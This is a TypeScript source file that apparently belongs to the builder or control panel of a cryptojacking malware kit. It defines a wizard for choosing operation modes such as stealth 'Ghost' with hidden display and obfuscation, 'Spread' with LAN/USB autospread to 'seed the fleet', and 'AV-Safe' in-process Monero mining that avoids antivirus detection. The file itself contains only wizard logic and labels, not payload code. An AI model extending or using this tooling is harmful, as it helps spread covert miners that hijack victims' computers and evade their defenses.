101 lines
2.8 KiB
TypeScript
101 lines
2.8 KiB
TypeScript
import type { OperationModeId } from './forgeOperationModes';
|
|
import type { SpreadProfileId } from './spreadProfiles';
|
|
|
|
export const MISSION_WIZARD_STEPS = ['mode', 'profile', 'launch'] as const;
|
|
export type MissionWizardStep = (typeof MISSION_WIZARD_STEPS)[number];
|
|
|
|
export const MISSION_WIZARD_STEP_LABELS: Record<MissionWizardStep, string> = {
|
|
mode: 'Mode',
|
|
profile: 'Profile',
|
|
launch: 'Launch',
|
|
};
|
|
|
|
export type MissionOperationChip = 'ghost' | 'loud' | 'spread' | 'avsafe';
|
|
|
|
export interface MissionOperationChipDef {
|
|
id: MissionOperationChip;
|
|
label: string;
|
|
color: string;
|
|
modeId: OperationModeId;
|
|
blurb: string;
|
|
}
|
|
|
|
export const MISSION_OPERATION_CHIPS: MissionOperationChipDef[] = [
|
|
{
|
|
id: 'ghost',
|
|
label: 'Ghost',
|
|
color: '#6b8cff',
|
|
modeId: 'ghost_walk',
|
|
blurb: 'Stealth on, hidden display, garble — minimal LAN footprint',
|
|
},
|
|
{
|
|
id: 'loud',
|
|
label: 'Loud',
|
|
color: '#ff5c5c',
|
|
modeId: 'open_flame',
|
|
blurb: 'Visible console, logging on — lab testing and debugging',
|
|
},
|
|
{
|
|
id: 'spread',
|
|
label: 'Spread',
|
|
color: '#ff8c3a',
|
|
modeId: 'wildfire',
|
|
blurb: 'Universal spread kit + LAN/USB autospread — seed the fleet',
|
|
},
|
|
{
|
|
id: 'avsafe',
|
|
label: 'AV-Safe',
|
|
color: '#22d3a8',
|
|
modeId: 'av_safe',
|
|
blurb: 'In-process XMR only — no GPU exe download, no spread/hollow',
|
|
},
|
|
];
|
|
|
|
export function operationModeForChip(chip: MissionOperationChip): OperationModeId {
|
|
return MISSION_OPERATION_CHIPS.find((c) => c.id === chip)?.modeId ?? 'ghost_walk';
|
|
}
|
|
|
|
export function missionChipForMode(mode: OperationModeId): MissionOperationChip {
|
|
if (mode === 'av_safe') return 'avsafe';
|
|
if (mode === 'open_flame') return 'loud';
|
|
if (mode === 'wildfire' || mode === 'crucible_storm') return 'spread';
|
|
return 'ghost';
|
|
}
|
|
|
|
export function wizardStepIndex(step: MissionWizardStep): number {
|
|
return MISSION_WIZARD_STEPS.indexOf(step);
|
|
}
|
|
|
|
export function nextWizardStep(step: MissionWizardStep): MissionWizardStep | null {
|
|
const idx = wizardStepIndex(step);
|
|
if (idx < 0 || idx >= MISSION_WIZARD_STEPS.length - 1) return null;
|
|
return MISSION_WIZARD_STEPS[idx + 1];
|
|
}
|
|
|
|
export function prevWizardStep(step: MissionWizardStep): MissionWizardStep | null {
|
|
const idx = wizardStepIndex(step);
|
|
if (idx <= 0) return null;
|
|
return MISSION_WIZARD_STEPS[idx - 1];
|
|
}
|
|
|
|
export function canAdvanceWizardStep(
|
|
step: MissionWizardStep,
|
|
chip: MissionOperationChip,
|
|
_spreadProfile: SpreadProfileId | '',
|
|
): boolean {
|
|
if (step === 'mode') return !!chip;
|
|
if (step === 'profile') return true;
|
|
return false;
|
|
}
|
|
|
|
export function wizardPillStatus(
|
|
pill: MissionWizardStep,
|
|
current: MissionWizardStep,
|
|
): 'pending' | 'active' | 'done' {
|
|
const pillIdx = wizardStepIndex(pill);
|
|
const curIdx = wizardStepIndex(current);
|
|
if (pillIdx < curIdx) return 'done';
|
|
if (pillIdx === curIdx) return 'active';
|
|
return 'pending';
|
|
}
|